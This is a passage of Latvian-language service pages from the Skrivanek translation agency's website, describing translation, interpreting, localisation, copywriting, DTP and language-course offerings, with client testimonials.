ikdienas un tehniskiem tekstiem, instrukcijām u. tml. , savukārt lokalizācija ir īpaši svarīga mārketingā un komercijā, piemēram, mājaslapu un internetveikalu veidošanā, dažādu mārketinga materiālu izstrādē, lai auditorija saņemtu sev saprotamu un uzrunājošu zīmola vai uzņēmuma vēstījumu. TEHNOLOĢIJU PRIEKŠROCĪBAS UN MAŠĪNTULKOŠANA Lai uzlabotu tekstu tulkošanas procesa kvalitāti un ātrumu, mēs strādājam ar jaunākajām tulkošanas tehnoloģijām, tostarp mašīntulkošanu, kurā panākts liels attīstības lēciens, ievērojami ietaupot laiku, bet nezaudējot tulkojumu skaidrību. Skrivanek izstrādājis savu neironu mašīntulkošanas sistēmu – Skrivanek NMT –, kā arī sadarbojas ar lielākajiem NMT pakalpojumu sniedzējiem, kā Google un DeepL. Ja nepieciešams, varam pielāgot NMT sistēmu tulkojumiem jūsu jomā. Mums ir ISO 18587 sertifikāts, kas apliecina, ka mašīntulkojumus pārskata kvalificēti redaktori un korektori. KĀPĒC IZVĒLĒTIES SKRIVANEK? KVALITATĪVI TULKOŠANAS PAKALPOJUMI Mēs lepojamies, ka esam starp 100 lielākajiem tulkošanas pakalpojumu sniedzējiem pasaulē, un mūsu tulkoto tekstu kvalitāti un augstos standartus apliecina pieci ISO sertifikāti. Skrivanek bija pirmais tulkošanas uzņēmums Centrāleiropā un Austrumeiropā, kas pilnībā izpildīja ISO 9001 kvalitātes vadības sistēmas nolikumu. Tas nozīmē, ka esam ieviesuši nepieciešamos procesus, lai mūsu pakalpojumi atbilstu gan mūsu klientu, gan normatīvo aktu prasībām. PIEREDZĒJUŠI VALODU EKSPERTI UN INDIVIDUĀLA PIEEJA Skrivanek spēks ir mūsu starptautiskā komanda – zinoši, izglītoti nozares profesionāļi (ne tikai tulkotāji un tulki, bet arī korektori un tekstu autori, kas specializējušies dažādās jomās un nozarēs), kuri nodrošina plašu tulkojumu klāstu jebkurā valodā. Mūsu spēkos ir dažāda formāta un apjoma dokumentu tulkojumi. Tas var būt viens līgums vai reklāmas teksts, bet tikpat gaidīti ir lieli ilgtermiņa projekti, tostarp tehniski sarežģīti un ar nozarei specifisku terminoloģiju. Esam veiksmīgi īstenojuši tūkstošiem lappušu garus tulkojumus, piemēram, materiālus tiesvedības procesam, kur nepieciešams izprast lietas būtību, strīdu un likumu, lai nodrošinātu precizitāti. Sazinieties ar mūsu biroju, un atsaucīgie projektu vadītāji atradīs veidu, kā vislabāk nodrošināt tulkošanas pakalpojumus tieši jūsu vēlmēm un vajadzībām. ĀTRUMS UN OPERATIVITĀTE Rakstiskās tulkošanas pakalpojuma cenā ietverts tulkojums un korektūra, ko veic korektors, kam mērķvaloda ir dzimtā valoda. Mēs strādājam ar vairāk nekā 3000 kvalificētu tulkotāju, tāpēc mēs varam nodrošināt tulkojumus jebkurā valodā īsā termiņā. Pirms tulkošanas uzsākšanas ar jums vienosimies par termiņu. Parasti 500 vārdu gara teksta tulkojuma izpildei nepieciešana viena darbadiena, 1000 vārdu garam tekstam – pusotra darbadiena. Nepieciešamības gadījumā varam nodrošināt arī steidzamus tulkojumus. Šādu projektu gadījumā par izpildes termiņu un cenu ar jums vienosimies individuāli. Tulkojuma cena ir atkarīga no apjoma, valodu salikuma, teksta specifikas utt. Lai iegūtu precīzāku cenas piedāvājumu, lūdzu, atsūtiet mums tulkošanai paredzēto dokumentu. GARANTĒTA DATU DROŠĪBA Skrivanek nodrošina darba procesu un kontroli un klientu datu konfidencialitāti atbilstoši informācijas drošības pārvaldības standartam ISO/IEC 27001:2022. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu SPECIALIZĒTIE TULKOJUMI Nozaru terminoloģijas ievērošana ir ļoti būtiska, tieši tāpēc mūsu tulkotājiem ir ne tikai filologa izglītība un iespēja izmantot mūsdienu tehnoloģiskos sasniegumus, bet arī zināšanas medicīnā, jurisprudencē, inženiertehniskajās zinātnēs un citās specifiskās jomās, kas palīdz sasniegt vēlamo rezultātu. Vairāk VISPĀRĪGI TULKOJUMI Veicot tulkojumu, ir būtiski ne tikai precīzi iztulkot vārdus, bet arī izteikto ideju pārnest citā valodā, nezaudējot tās sākotnējo domu. Nodrošinām ātru dokumentu tulkošanas procesu gadījumos, kad nav nepieciešamas specifiskas nozares zināšanas. Vairāk NOTARIĀLS APLIECINĀJUMS Nodrošinām notariāli apliecinātus tulkojumus pie dokumentu oriģināla un kopijām, ievērojot Latvijas Republikas normatīvos aktus. Sagatavojam tulkojumus, kuru pareizību, precizitāti un atbilstību oriģinālam apstiprina zvērināts notārs, un zvērināts tulkotājs uzņemas pilnu atbildību par tulkojuma kvalitāti. Vairāk LOKALIZĀCIJA Jums vairs nav jāraizējas, nodrošināsim ne tikai tulkojumu, bet arī pārliecināsimies, vai lokalizētais produkts vai programmatūra darbojas pareizi. Piedāvājam audio, video failu un programmatūras lokalizēšanu, kā arī dažāda digitālā mārketinga satura lokalizēšanu un tulkošanu, tostarp, mājaslapu, e-veikalu un reklāmu. Vairāk DOKUMENTU TULKOJUMI VAIRĀK NEKĀ 110 VALODĀS Angļu valoda Arābu valoda Armēņu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Gruzīnu valoda Hindi valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Ķīniešu valoda Poļu valoda Portugāļu valoda Rumāņu valoda Somu valoda Spāņu valoda Ungāru valoda Vācu valoda Zviedru valoda Citas valodas --- > Profesionāla tulka pakalpojumi konferencēs, lietišķās tikšanās, sanāksmēs, tiesas sēdēs utt. Vietējie un ārvalstu tulki. Sazinieties ar mums! - Published: 2017-09-29 - Modified: 2025-06-03 - URL: https://skrivanek.lv/pakalpojumi/mutiskie-tulkojumi/ - Translation Priorities: Optional SECĪGĀ TULKOŠANA Nelielās sanāksmēs, piemēram, darba pusdienās vai izbraukumos, neaizstājama ir secīgā tulkošana, kad tulks noklausās vienā valodā teikto un pēc tam iztulko otrā valodā. Profesionāli, saprotami un viegli uztverami. Vairāk SINHRONĀ TULKOŠANA Ja nepieciešams nodrošināt tulkojumu lielam cilvēku skaitam, nereti vairākās valodu kombinācijās vienlaicīgi, visbiežāk tiek izmantota sinhronā tulkošana – runātais tiek tulkots no kabīnes ar pāris sekunžu nobīdi. Vairāk KONFERENČU TULKOŠANA Konferenču laikā pats būtiskākais ir nevis pārtulkot katru runātāja vārdu, bet gan viņa idejas nodot cilvēkiem, kuri runā dažādās valodās. Mūsu profesionālie sinhronie tulki spēj padarīt saziņu iespējamu arī starp ļoti atšķirīgām kultūrām. Vairāk TIESAS SĒŽU TULKOŠANA Juridiskajai valodai ir raksturīga precizitāte, un tulkojumi tiesā ir jo īpaši svarīgi! Mūsu tulki ir pieredzējuši un labi orientējas juridiskajā terminoloģijā. Ar viņu atbalstu tiesvedība noritēs raiti. Vairāk CITI MUTISKĀS TULKOŠANAS VEIDI Mēs nodrošinām arī citus mutiskās tulkošanas veidus – tulkošanu čukstus, pa tālruni vai Skype/Zoom konferenču tulkojumus. Ja starp nosauktajiem mutiskās tulkošanas veidiem neatrodat jums vēlamo, sazinieties ar mūsu projektu vadītājiem, un mēs noteikti palīdzēsim! Sazināties ASISTENTA PAKALPOJUMI Ja nepieciešami tulka pakalpojumi ikdienas situācijās, piemēram, saziņai ar valsts vai pašvaldību iestādēm, dokumentu iesniegšanai vai tamlīdzīgi, aicinām izmantot tulka – asistenta pakalpojumus. Sazinieties ar mums, un mēs nodrošināsim jums piemērotāko risinājumu. Sazināties NEPIECIEŠAMS MUTISKAIS TULKOJUMS VAI KONSULTĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Sazināties BIEŽĀK UZDOTIE JAUTĀJUMI Abu šo profesiju pārstāvji lieliski pārzina valodas, taču tulkotājs nodarbojas ar visu veidu rakstisko tulkošanu, kamēr tulks sniedz mutiskās – secīgās vai sinhronās tulkošanas pakalpojumu. Viss atkarīgs no konkrētās vienošanās un jūsu prasībām. Tikai jūs noteiksiet, cik daudz laika tulkam jāpavada kopā ar jums. Jā, ļoti bieži sadarbības partneriem mēs veidojam pat valodas speciālistu komandas – pakalpojumu nodrošina tas pats tulkotājs vai tulks, kurš strādājis ar klientu iepriekš. Droši sniedziet atgriezenisko saiti, un mēs ar lielāko prieku organizēsim atkārtotu sadarbību. Mūsu pastāvīgajiem klientiem ir arī savs projektu vadītājs. MUTISKĀS TULKOŠANAS PAKALPOJUMI VAIRĀK NEKĀ 40 VALODĀS Angļu valoda Arābu valoda Armēņu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Gruzīnu valoda Hindi valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Ķīniešu valoda Poļu valoda Portugāļu valoda Somu valoda Rumāņu valoda Spāņu valoda Ungāru valoda Vācu valoda Zviedru valoda Citas valodas TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Pārtulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Lokalizācija un tulkošanas pakalpojumi 110+ valodās! Profesionāls tulkošanas birojs ar 30 gadu pieredzi. Saņemiet bezmaksas cenas aprēķinu! - Published: 2017-09-29 - Modified: 2025-07-07 - URL: https://skrivanek.lv/pakalpojumi/lokalizacija/ - Translation Priorities: Optional MĀJASLAPAS TULKOŠANA Mājaslapu tulkošana nekad vēl nav bijusi tik ērta! Mūsu speciālisti nodrošinās optimālus tulkošanas un lokalizācijas risinājumus, lai padarītu mājaslapu atbilstošu konkrēta reģiona vai tirgus vajadzībām un lokālajām īpatnībām. Vairāk audio un video failu lokalizācija Kvalitatīvs ieraksts jebkurā valodā – mūsu speciālisti transkribēs failu, un pēc rakstiskā tulkojuma apstiprināšanas nodrošināsim profesionālu gala rezultātu audio vai video faila formātā. Vairāk PROGRAMMATŪRAS LOKALIZĀCIJA Precīza un akurāta programmatūras piemērošana konkrētas valsts prasībām – mēs iztulkosim jūsu programmatūru vai lietotni, nodrošinot, ka tajā tiek ievēroti visi iestatījumi, tostarp pareizs laika un datuma formāts. Sazināties E-MĀCĪBU SATURA UN RISINĀJUMU LOKALIZĀCIJA Arvien biežāk cilvēki visā pasaulē izvēlas jaunas prasmes un zināšanas apgūt tiešsaistē, tādēļ iesakām jau laikus parūpēties par sava mācību satura vai e-risinājuma lokalizāciju vismaz dažās populārākajās pasaules vai sava reģiona valodās. Vairāk DIGITĀLĀ MĀRKETINGA SATURA LOKALIZĀCIJA Digitālais mārketings, tostarp tīmekļa vietnes un pārdomātas interneta mediju kampaņas, ar ziņojumiem virtuālajā vidē iekaro jūsu klientu sirdis un prātus, savukārt sociālie tīkli veido ar viņiem ciešākas saiknes. Klasiskajā tulkošanas ceļā var zust tā īpašā noskaņa, kas jūsu produktu padara tik unikālu – tāpēc palīgā nāks mārketinga satura lokalizācija. Vairāk GOOGLE ADS UN SEO TULKOJUMI Tīmekļvietnes konkurētspēju būtiski uzlabo tās pieejamība dažādās valodās. Mūsu speciālisti palīdzēs lokalizēt jūsu vietni, ievērojot visus aktuālos SEO principus, lai tā rādītos pēc iespējas augstāk dabiskās meklēšanas rezultātā, kā arī pielāgos atslēgvārdus Google Ads (AdWords) reklamēšanai, lai jūs bez grūtībām spētu atrast ikviens potenciālais klients. Vairāk NEPIECIEŠAMA LOKALIZĀCIJA? MEKLĒJIET VALODU RISINĀJUMU VAI NEPIECIEŠAMA KONSULTĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Sazināties BIEŽĀK UZDOTIE JAUTĀJUMI Mēs varam iztulkot jebko no praktiski jebkura elektroniska formāta, saglabājot oriģinālā dokumenta formatējumu. Arī gadījumos, kad nepieciešami lokalizācijas pakalpojumi, mēs ievērojam klienta norādījumus, kā arī programmatūras specifiskos iestatījumus. Protams, ar lielāko prieku. Skrivanek ir plaša pieredze un zināšanu bāze dažādu mājaslapu un satura vadības sistēmu tekstu tulkošanā un lokalizēšanā. Visos gadījumos tiek nodrošināta profesionāla pieeja un piemeklēts labākais risinājums, lai nodrošinātu vēlamo rezultātu nepieciešamajās valodu kombinācijās. Jā, ļoti bieži sadarbības partneriem mēs veidojam pat valodas speciālistu komandas – pakalpojumu nodrošina tas pats tulkotājs vai tulks, kurš strādājis ar klientu iepriekš. Droši sniedziet atgriezenisko saiti, un mēs ar lielāko prieku organizēsim atkārtotu sadarbību. Mūsu pastāvīgajiem klientiem ir arī savs projektu vadītājs. NODROŠINĀM VALODU RISINĀJUMUS DAŽĀDĀM NOZARĒM VAIRĀK NEKĀ 300 VALODU KOMBINĀCIJĀS Angļu valoda Arābu valoda Armēņu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Gruzīnu valoda Hindi valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Ķīniešu valoda Poļu valoda Portugāļu valoda Rumāņu valoda Somu valoda Spāņu valoda Ungāru valoda Vācu valoda Zviedru valoda Citas valodas Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  TIRGŪ JAU VAIRĀK NEKĀ 30 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Pārtulkotu vārdu 2024. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Korektūra, radošu tekstu sagatavošana, tekstu adaptācija! Profesionāls valodu uzņēmums ar vairāk nekā 25 gadu pieredzi! Sazinieties ar mums! - Published: 2017-09-29 - Modified: 2025-07-07 - URL: https://skrivanek.lv/pakalpojumi/tekstu-adaptacija-un-radosu-tekstu-sagatavosana/ - Translation Priorities: Optional TEKSTU ADAPTĀCIJA Mūsu komanda pielāgos tekstus, atvieglojot tā uztveri konkrēti izvēlētai mērķauditorijai, izmantojot uzsvarus, kas skar attiecīgo kultūrvidi vai sabiedrības grupu. Visbiežāk šo pieeju izmantojam darbā ar reklāmas un radošiem tekstiem. Sazināties RADOŠU TEKSTU SAGATAVOŠANA (COPYWRITING) Tulkojot un veidojot radošus tekstus, īpašu vērību pievēršam uzrunas formas izvēlei, tās pierakstam, arī deminutīvu lietojumam. Pārliecināmies, ka radošs teksts nevar tikt uztverts atrauti no tās vizuālajiem vai skaņas elementiem, un tie visi kopā veido harmonisku vēstījumu. Vairāk TEKSTU GRAMATISKĀ UN STILISTISKĀ UZLABOŠANA Piedāvājam teksta korektūras jeb stilistiskās uzlabošanas, tulkojuma salīdzināšanas ar oriģinālu un redaktūras pakalpojumus arī tekstiem, kas nav sagatavoti vai tulkoti pie mums. Šos pakalpojumus nodrošina tikai speciālisti, kuriem attiecīgā mērķvaloda ir dzimtā. Vairāk BIEŽĀK UZDOTIE JAUTĀJUMI Gadījumos, kad iztulkoto gala rezultātu plānots izmantot, piemēram, mārketinga vai reklāmas nolūkiem, nepietiek ar precīzu iztulkošanu – bieži vien tekstu nākas adaptēt, mainīt izmantotās idiomas vai citus tēlainos izteiksmes līdzekļus, lai tas būtu viegli uztverams arī mērķa valodas lietotājiem. Šādos gadījumos notiek tekstu adaptācija, lai tos pilnībā pielāgotu mērķa valodas auditorijas prasībām. Ja nepieciešams, mēs garantējam, ka dokuments izskatīsies tieši tāpat kā oriģināls, vai arī veidojam to atbilstoši klienta prasībām, piesaistot mūsu DTP komandu. Cik vien iespējams, strādājam ar dokumentu oriģināliem elektroniskā formātā, nemainot to stilu un formatējumu. Jā, privātpersonām norādām cenu, kurā iekļauts PVN. Korporatīvajiem klientiem pakalpojumu cena tiek norādīta bez PVN, pamatojoties uz vispārpieņemto tirgus praksi. TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Pārtulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti --- > Mūsu speciālisti veic tekstu grafisko un pirmsdrukas, kā arī fotogrāfiju, attēlu, tabulu utml. apstrādi. Saņemiet bezmaksas cenas aprēķinu! - Published: 2017-09-29 - Modified: 2024-05-29 - URL: https://skrivanek.lv/pakalpojumi/dtp-tekstu-grafiska-apstrade/ - Translation Priorities: Optional TEHNOLOĢIJAS UN FORMĀTI Jūsu pasūtīto projektu varam izstrādāt šādās teksta redaktoru un grafiskajās programmās: MS Word PDF dokuments Illustrator MS Excel Corel Visio MS PowerPoint QuarkXPress Photoshop Adobe PageMaker InterLeaf Lotus WordPro Adobe FrameMaker MS Project InDesign KOMANDA UN PIEREDZE Skrivanek DTP komandā strādā speciālisti, kuri veiks ne tikai teksta grafisko apstrādi, bet nepieciešamības gadījumā saskaņā ar oriģinālu apstrādās fotogrāfijas, attēlus, tabulas u. tml. Veicam arī pilnīgu tekstu pirmsdrukas apstrādi. Uzņēmumā strādā arī pieredzējuši projektu vadītāji, tehniskie darbinieki, programmatūras inženieri, izmēģinātāji, valodu speciālisti, kā arī kvalificēti tulkotāji, kam ir dzimtā tās valsts valoda, kurai ir paredzēts konkrētais produkts. KOMPLEKSI PAKALPOJUMI Pēc jūsu pasūtījuma izstrādāsim, piemēram, lietošanas instrukcijas tulkojumu atbilstoši oriģinālam ar visiem attēliem, tabulām un pielikumiem arī citos datņu formātos. Varam nodrošināt pasūtījumu izpildi gan uz PC, gan Macintosh platformas. BIEŽĀK UZDOTIE JAUTĀJUMI Mēs veicam tulkošanu mutiski un rakstiski, kā arī nodrošinām plašu valodu risinājumu klāstu. Mutisko tulkošanu nodrošinām konferencēs, darījumu tikšanās laikā, kā arī mūsu tulki sniedz atbalstu tiesvedības gaitā. Rakstiskie tulkojumi ietver specializētos un vispārīgos tulkojumus dažādās nozarēs. Nodrošinām arī lokalizācijas pakalpojumus, tekstu adaptāciju un radīšanu, DTP un valodu mācības. Ja nepieciešams, mēs garantējam, ka mūsu iztulkotais dokuments izskatīsies tieši tāpat kā oriģināls, vai arī veidojam to atbilstoši klienta prasībām, piesaistot mūsu DTP komandu. Cik vien iespējams, strādājam ar dokumentu oriģināliem elektroniskā formātā, nemainot to stilu un formatējumu. Pilnīgi jebkurā elektroniskā formātā – ja dokuments nav pieejams elektroniski, nosūtiet mums attēlus vai atnāciet uz mūsu biroju Lāčplēša ielā 87C. NEPIECIEŠAMS KOMPLEKSS RISINĀJUMS VAI KONSULTĀCIJA? Sagatavosim jums piedāvājumu un nodrošināsim konsultāciju. Sazināties TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Pārtulkotu vārdu 2023. gadā 0+ Valodu speciālistu 0 ISO sertifikāti KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Valodu kursi tiešsaistē vai klātienē. Augsti kvalificēti vietējie un ārvalstu pasniedzēji! Kursi dažādiem priekšzināšanu līmeņiem. 👆️ - Published: 2017-09-29 - Modified: 2025-07-21 - URL: https://skrivanek.lv/pakalpojumi/valodu-kursi/ - Translation Priorities: Optional UZŅĒMUMIEM Nodrošinām valodu mācības Latvijas uzņēmumiem, starptautiskām korporācijām, kā arī valsts un pašvaldību iestādēm. Organizējam kursus darbiniekiem ar dažādu zināšanu līmeni, kā arī piedāvājam intensīvās valodu mācības. Iegūtā pieredze un plašā pasniedzēju izvēle sniedz mums iespēju veikt jebkura apjoma un sarežģītības svešvalodu mācību projektus. Uzziniet vairāk: valodumacibas. lv PRIVĀTPERSONĀM Svešvalodu kursi lieliem mērķiem! Apgūstiet svešvalodas ātri un efektīvi, piesakoties grupu valodu kursos, izvēloties privātas nodarbības vai arī mācoties attālināti. Praktiskas valodu zināšanas un lieliski pavadīts laiks aizraujošās nodarbībās! Uzziniet vairāk: valodumacibas. lv BĒRNIEM UN JAUNIEŠIEM Īpaši izstrādātas svešvalodu mācību programmas ļauj bērniem un jauniešiem apgūt jaunas valodas ātri un ar aizrautību, kā arī nostiprina jau apgūto svešvalodu zināšanas. Mācīties ar mums ir jautri un noderīgi! Uzziniet vairāk: valodumacibas. lv BĒRNU NOMETNES Mācību centra rīkotās nometnes bērniem un jauniešiem ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometņu programmas tiek pieskaņotas bērnu vecumam un ir licencētas. Uzziniet vairāk: bernunometnes. lv BIEŽĀK UZDOTIE JAUTĀJUMI Jā, Skrivanek piedāvājumā ir ne tikai grupu un individuālās nodarbības vairāk nekā 25 valodās, bet arī plašs piedāvājums bērniem un jauniešiem. Individuālās nodarbības bieži izvēlas korporatīvie klienti to efektivitātes dēļ. Par individuālajām nodarbībām lasiet vairāk: valodumacibas. lv Focus ir svešvalodas zināšanu līmeņa pārbaudes tiešsaistes rīks, lai efektīvi un visaptverošā veidā pārbaudītu 